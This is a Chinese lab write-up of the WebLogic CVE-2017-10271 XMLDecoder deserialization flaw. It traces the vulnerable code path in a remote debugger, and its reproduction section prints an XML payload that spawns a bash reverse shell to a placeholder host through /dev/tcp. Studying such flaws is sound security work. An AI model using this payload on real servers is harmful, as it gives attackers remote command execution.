CVE-2017-10271 Weblogic 命令执行


借此来学习idea远程调试与分析。

该漏洞主要是WebLogic Server WLS组件造成的远程命令执行漏洞,是由wla-wsat.war触发的。

可以触发该漏洞的URL:

http://192.168.255.128:7001/wls-wsat/CoordinatorPortType

http://192.168.255.128:7001/wls-wsat/CoordinatorPortType11

在yml文件里面加上调试窗口的端口9001时,后面在docker容器里面也要

debugFlag="true"
DEBUG_PORT=9001

添加该端口进去.

如何配置docker搭建环境可以参考:

https://xz.aliyun.com/t/10172

漏洞复现

用Burp抓包,写入Payload,反弹shell

 

class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
class="java.lang.String" length="3">
<void index="0">
/bin/bash
void>
<void index="1">
-c
void>
<void index="2">
bash -i >& /dev/tcp/IP/port 0>&1
void>

<void method="start"/>void>




在搭建环境目录下的README就有payload

搭载Payload发送

nc监听,成功反弹shell

漏洞分析

首先在WLSServletAdapte文件这里打个断点

然后尝试访问或者发包,已经开始调试了

这里来看看左边的run:221,应该是程序不间断地在提供服务的基础

在run:1490 ServletRequestImpl的1214行这里可以看到wls-wsat.war

在这个项目里面找到 wls-wsat.war

是个压缩文件解压下来,打开web.xml,可以看到CoordinatorPortType 页面payload的由来

继续调试WorkContextServerTube类的processRequest方法中来处理Post传入的xml数据,就是var1

然后再readHeaderOld()方法里面,是去读取xml

跟进过来,在var6这里下断点

 这里可以看到var6就是我们所传入的xml内容了

这里的方法就是获取到xml然后用ByteArrayOutputStream转换成字节流(也就是序列化了),赋值给var4

跟进到WorkContextXmlInputAdapter(),这里就是把var4传到XMLDecoder()

     WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));

继续跟进到WorkContextLocalMap类的receiveRequest()方法

 这里调用了WorkContextEntryImpl的readEntry()方法

继续跟进,可以看到readUTF()这里调用xmlDecoder()

在readUTF()这里jump过去,就看到了xmlDecoder调用了readObject(),来对字节流反序列化

相关